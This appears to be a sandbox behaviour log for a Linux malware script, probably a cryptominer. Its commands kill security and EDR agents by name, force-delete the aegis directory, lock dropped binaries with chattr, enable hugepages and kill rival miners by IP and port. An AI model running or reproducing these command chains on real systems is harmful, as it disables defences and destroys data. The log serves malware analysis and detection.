/bin/rmrm -rf3⤵PID:904
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:908
-
-
/bin/grepgrep titanagent2⤵PID:907
-
-
/bin/grepgrep -v grep2⤵PID:906
-
-
/usr/bin/xargsxargs dirname2⤵PID:909
-
/usr/local/sbin/dirnamedirname3⤵PID:911
-
-
/usr/local/bin/dirnamedirname3⤵PID:911
-
-
/usr/sbin/dirnamedirname3⤵PID:911
-
-
/usr/bin/dirnamedirname3⤵PID:911
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:910
-
/usr/local/sbin/rmrm -rf3⤵PID:913
-
-
/usr/local/bin/rmrm -rf3⤵PID:913
-
-
/usr/sbin/rmrm -rf3⤵PID:913
-
-
/usr/bin/rmrm -rf3⤵PID:913
-
-
/sbin/rmrm -rf3⤵PID:913
-
-
/bin/rmrm -rf3⤵PID:913
-
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:905
-
-
/bin/grepgrep edr2⤵PID:916
-
-
/bin/grepgrep -v grep2⤵PID:915
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:917
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:914
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:918
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:923
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:922
-
-
/bin/psps aux2⤵PID:919
-
-
/bin/grepgrep aegis2⤵PID:921
-
-
/bin/grepgrep -v grep2⤵PID:920
-
-
/bin/grepgrep Yun2⤵PID:926
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:927
-
-
/bin/grepgrep -v grep2⤵PID:925
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:928
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:924
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:932
-
-
/bin/grepgrep -v grep2⤵PID:930
-
-
/bin/grepgrep hids2⤵PID:931
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:933
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:929
-
-
/bin/grepgrep edr2⤵PID:936
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:937
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:938
-
-
/bin/grepgrep -v grep2⤵PID:935
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:934
-
-
/bin/grepgrep cloudwalker2⤵PID:941
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:942
-
-
/bin/grepgrep -v grep2⤵PID:940
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:943
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:939
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:947
-
-
/bin/grepgrep -v grep2⤵PID:945
-
-
/bin/grepgrep titanagent2⤵PID:946
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:948
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:944
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:952
-
-
/bin/grepgrep sgagent2⤵PID:951
-
-
/bin/grepgrep -v grep2⤵PID:950
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:953
-
-
/bin/psps aux2⤵PID:949
-
-
/bin/grepgrep -v grep2⤵PID:955
-
-
/bin/grepgrep barad_agent2⤵PID:956
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:957
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:954
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:958
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:962
-
-
/bin/grepgrep hostguard2⤵PID:961
-
-
/bin/grepgrep -v grep2⤵PID:960
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:963
-
-
/bin/psps aux2⤵PID:959
-
-
/bin/rmrm -rf /usr/local/aegis2⤵PID:964
-
-
/bin/sleepsleep 12⤵PID:965
-
-
/usr/bin/chattrchattr -i /usr/bin/ip6network2⤵
- System Network Configuration Discovery
PID:968
-
-
/usr/bin/chattrchattr -i /usr/bin/kswaped2⤵PID:969
-
-
/usr/bin/chattrchattr -i /usr/bin/irqbalanced2⤵PID:970
-
-
/usr/bin/chattrchattr -i /usr/bin/rctlcli2⤵
- Removes the immutable protection flag from a file
PID:971
-
-
/usr/bin/chattrchattr -i /usr/bin/systemd-network2⤵PID:972
-
-
/usr/bin/chattrchattr -i /usr/bin/pamdicks2⤵
- Removes the immutable protection flag from a file
PID:973
-
-
/usr/bin/chattrchattr +i /usr/bin/ip6network2⤵
- System Network Configuration Discovery
PID:974
-
-
/usr/bin/chattrchattr +i /usr/bin/kswaped2⤵PID:975
-
-
/usr/bin/chattrchattr +i /usr/bin/irqbalanced2⤵PID:976
-
-
/usr/bin/chattrchattr +i /usr/bin/rctlcli2⤵PID:977
-
-
/usr/bin/chattrchattr +i /usr/bin/systemd-network2⤵PID:978
-
-
/usr/bin/chattrchattr +i /usr/bin/pamdicks2⤵PID:979
-
-
/bin/sleepsleep 12⤵PID:980
-
-
/bin/rmrm -f /tmp/.null2⤵PID:991
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵PID:994
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1000
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:999
-
-
/bin/grepgrep 194.87.139.1032⤵PID:997
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1001
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1004
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1005
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1006
-
-
/bin/grepgrep 185.71.65.2382⤵PID:1003
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1011
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1010
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1012
-
-
/bin/grepgrep 140.82.52.872⤵PID:1009
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1017
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1016
-
-
/bin/grepgrep :232⤵PID:1015
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1019
-
-
/bin/grepgrep -v -2⤵PID:1018
-
-
/bin/grepgrep :1432⤵PID:1022
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1024
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1023
-
-
/bin/grepgrep -v -2⤵PID:1025
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1026
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1033
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1034
-
-
/bin/grepgrep :22222⤵PID:1032
-
-
/bin/grepgrep -v -2⤵PID:1035
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1036
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1040
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1039
-
-
/bin/grepgrep :33332⤵PID:1038
-
-
/bin/grepgrep -v -2⤵PID:1041
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1042
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1047
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1046
-
-
/bin/grepgrep :33892⤵PID:1045
-
-
/bin/grepgrep -v -2⤵PID:1048
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1049
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1053
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1054
-
-
/bin/grepgrep :55552⤵PID:1052
-
-
/bin/grepgrep -v -2⤵PID:1055
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1056
-
-
/bin/grepgrep -v -2⤵PID:1062
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1060
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1061
-
-
/bin/grepgrep :66662⤵PID:1059
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1063
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1067
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1068
-
-
/bin/grepgrep :66652⤵PID:1066
-
-
/bin/grepgrep -v -2⤵PID:1069
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1070
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1073
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1074
-
-
/bin/grepgrep -v -2⤵PID:1075
-
-
/bin/grepgrep :66672⤵PID:1072
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1076
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1081
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1082
-
-
/bin/grepgrep :77772⤵PID:1080
-
-
/bin/grepgrep -v -2⤵PID:1083
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1084
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1088
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1087
-
-
/bin/grepgrep -v -2⤵PID:1089
-
-
/bin/grepgrep :84442⤵PID:1086
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1090
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1095
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1094
-
-
/bin/grepgrep -v -2⤵PID:1096
-
-
/bin/grepgrep :33472⤵PID:1093
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1097
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1102
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1101
-
-
/bin/grepgrep :100082⤵PID:1100
-
-
/bin/grepgrep -v -2⤵PID:1103
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1104
-
-
/bin/grepgrep :135312⤵PID:1107
-
-
/bin/grepgrep -v grep2⤵PID:1106
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1108
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1109
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1115
-
-
/bin/grepgrep :33332⤵PID:1114
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1116
-
-
/bin/grepgrep -v grep2⤵PID:1113
-
-
/bin/psps aux2⤵PID:1112
-
-
/bin/grepgrep :55552⤵PID:1120
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1121
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1122
-
-
/bin/grepgrep -v grep2⤵PID:1119
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1118
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1127
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:1126
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1128
-
-
/bin/grepgrep -v grep2⤵PID:1125
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1124
-
-
/bin/grepgrep log_2⤵PID:1131
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1132
-
-
/bin/grepgrep -v grep2⤵PID:1130
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1133
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1129
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1137
-
-
/bin/grepgrep systemten2⤵PID:1136
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1138
-
-
/bin/grepgrep -v grep2⤵PID:1135
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1134
-
-
/bin/grepgrep netns2⤵PID:1141
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1142
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1143
-
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
PID:1144
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
PID:1144
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
PID:1144
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
PID:1144
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
PID:1144
-
-
/bin/killkill -9 103⤵
- Disables SELinux
- Reads CPU attributes
PID:1144
-
-
-
/bin/grepgrep -v grep2⤵PID:1140
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1139
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1148
-
-
/bin/grepgrep voltuned2⤵PID:1147
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1149
-
-
/bin/grepgrep -v grep2⤵PID:1146
-
-
/bin/psps aux2⤵PID:1145
-
-
/bin/grepgrep darwin2⤵PID:1152
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1154
-
-
/bin/grepgrep -v grep2⤵PID:1151
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1153
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1150
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1158
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1159
-
-
/bin/grepgrep /tmp/dl2⤵PID:1157
-
-
/bin/grepgrep -v grep2⤵PID:1156
-
-
/bin/psps aux2⤵PID:1155
-
-
/bin/grepgrep /tmp/ddg2⤵PID:1162
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1163
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1164
-
-
/bin/grepgrep -v grep2⤵PID:1161
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1160
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1167
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1168
-
-
/bin/grepgrep -v grep2⤵PID:1166
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1169
-
-
/bin/psps aux2⤵PID:1165
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1172
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1174
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1173
-
-
/bin/grepgrep -v grep2⤵PID:1171
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1170
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1178
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1179
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1177
-
-
/bin/grepgrep -v grep2⤵PID:1176
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1175
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1182
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1183
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1184
-
-
/bin/grepgrep -v grep2⤵PID:1181
-
-
/bin/psps aux2⤵PID:1180
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1188
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1187
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1189
-
-
/bin/grepgrep -v grep2⤵PID:1186
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1185
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1193
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1192
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1194
-
-
/bin/grepgrep -v grep2⤵PID:1191
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1190
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1198
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1199
-
-
/bin/grepgrep 45.76.122.922⤵PID:1197
-
-
/bin/grepgrep -v grep2⤵PID:1196
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1195
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1204
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1203
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1202
-
-
/bin/grepgrep -v grep2⤵PID:1201
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1200
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1209
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1208
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1207
-
-
/bin/grepgrep -v grep2⤵PID:1206
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1205
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1213
-
-
/bin/grepgrep 86s.jpg2⤵PID:1212
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1214
-
-
/bin/grepgrep -v grep2⤵PID:1211
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1210
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1218
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1217
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1219
-
-
/bin/grepgrep -v grep2⤵PID:1216
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1215
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1224
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1223
-
-
/bin/grepgrep nMrfmnRa2⤵PID:1222
-
-
/bin/grepgrep -v grep2⤵PID:1221
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1220
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1228
-
-
/bin/grepgrep PuNY5tm22⤵PID:1227
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1229
-
-
/bin/grepgrep -v grep2⤵PID:1226
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1225
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1233
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1234
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1232
-
-
/bin/grepgrep -v grep2⤵PID:1231
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1230
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1238
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1239
-
-
/bin/grepgrep AgdgACUD2⤵PID:1237
-
-
/bin/grepgrep -v grep2⤵PID:1236
-
-
/bin/psps aux2⤵PID:1235
-
-
/bin/grepgrep uiZvwxG82⤵PID:1242
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1243
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1244
-
-
/bin/grepgrep -v grep2⤵PID:1241
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1240
-
-
/bin/grepgrep hahwNEdB2⤵PID:1247
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1248
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1249
-
-
/bin/grepgrep -v grep2⤵PID:1246
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1245
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1252
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1253
-
-
/bin/grepgrep -v grep2⤵PID:1251
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1254
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1250
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1258
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1257
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1259
-
-
/bin/grepgrep -v grep2⤵PID:1256
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1255
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1262
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1263
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1264
-
-
/bin/grepgrep -v grep2⤵PID:1261
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1260
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1268
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1269
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1267
-
-
/bin/grepgrep -v grep2⤵PID:1266
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1265
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1273
-
-
/bin/grepgrep zXcDajSs2⤵PID:1272
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1274
-
-
/bin/grepgrep -v grep2⤵PID:1271
-
-
/bin/psps aux2⤵PID:1270
-
-
/bin/grepgrep 3lmigMo2⤵PID:1277
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1278
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1279
-
-
/bin/grepgrep -v grep2⤵PID:1276
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1275
-
-
/bin/grepgrep -v grep2⤵PID:1281
-
-
/bin/grepgrep AkMK4A22⤵PID:1282
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1283
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1280
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1284
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1287
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1288
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1289
-
-
/bin/grepgrep -v grep2⤵PID:1286
-
-
/bin/psps aux2⤵PID:1285
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1294
-
-
/bin/grepgrep HiPxCJRS2⤵
- System Network Configuration Discovery
PID:1292
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1293
-
-
/bin/grepgrep -v grep2⤵PID:1291
-
-
/bin/psps aux2⤵PID:1290
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1298
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1299
-
-
/bin/grepgrep http_0xCC0302⤵
- Disables SELinux
PID:1297
-
-
/bin/grepgrep -v grep2⤵PID:1296
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1295
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1303
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1304
-
-
/bin/grepgrep http_0xCC0312⤵PID:1302
-
-
/bin/grepgrep -v grep2⤵PID:1301
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1300
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1308
-
-
/bin/grepgrep http_0xCC0322⤵PID:1307
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1309
-
-
/bin/grepgrep -v grep2⤵PID:1306
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1305
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1313
-
-
/bin/grepgrep -v grep2⤵PID:1311
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1310
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1314
-
-
/bin/grepgrep http_0xCC0332⤵PID:1312
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1318
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1319
-
-
/bin/grepgrep C4iLM4L2⤵PID:1317
-
-
/bin/grepgrep -v grep2⤵PID:1316
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1315
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1322
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1323
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1324
-
-
/bin/grepgrep -v grep2⤵PID:1321
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1320
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1328
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1327
-
-
/bin/grepgrep -v grep2⤵PID:1326
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1325
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1332
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1331
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1333
-
-
/bin/grepgrep -v grep2⤵PID:1330
-
-
/bin/psps aux2⤵PID:1329
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1337
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1338
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1336
-
-
/bin/grepgrep -v grep2⤵PID:1335
-
-
/bin/psps aux2⤵PID:1334
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1342
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1341
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1343
-
-
/bin/grepgrep -v grep2⤵PID:1340
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1339
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1348
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1347
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1346
-
-
/bin/grepgrep -v grep2⤵PID:1345
-
-
/bin/psps aux2⤵PID:1344
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1352
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1353
-
-
/bin/grepgrep nqscheduler2⤵PID:1351
-
-
/bin/grepgrep -v grep2⤵PID:1350
-
-
/bin/psps aux2⤵PID:1349
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1357
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1358
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1356
-
-
/bin/grepgrep -v grep2⤵PID:1355
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1354
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1363
-
-
/bin/grepgrep -v aux2⤵PID:1361
-
-
/bin/grepgrep "]"2⤵PID:1362
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1364
-
-
/bin/grepgrep -v grep2⤵PID:1360
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1359
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1368
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1369
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1367
-
-
/bin/grepgrep -v grep2⤵PID:1366
-
-
/bin/psps aux2⤵PID:1365
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1373
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1372
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1374
-
-
/bin/grepgrep -v grep2⤵PID:1371
-
-
/bin/psps aux2⤵PID:1370
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1378
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1379
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1377
-
-
/bin/grepgrep -v grep2⤵PID:1376
-
-
/bin/psps aux2⤵PID:1375
-
-
/bin/grepgrep -v -2⤵PID:1383
-
-
/bin/grepgrep -v _2⤵PID:1384
-
-
/bin/grepgrep -v /2⤵PID:1382
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1385
-
-
/bin/grepgrep -v grep2⤵PID:1381
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1386
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1380
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1391
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1390
-
-
/bin/grepgrep "\\[^"2⤵PID:1389
-
-
/bin/grepgrep -v grep2⤵PID:1388
-
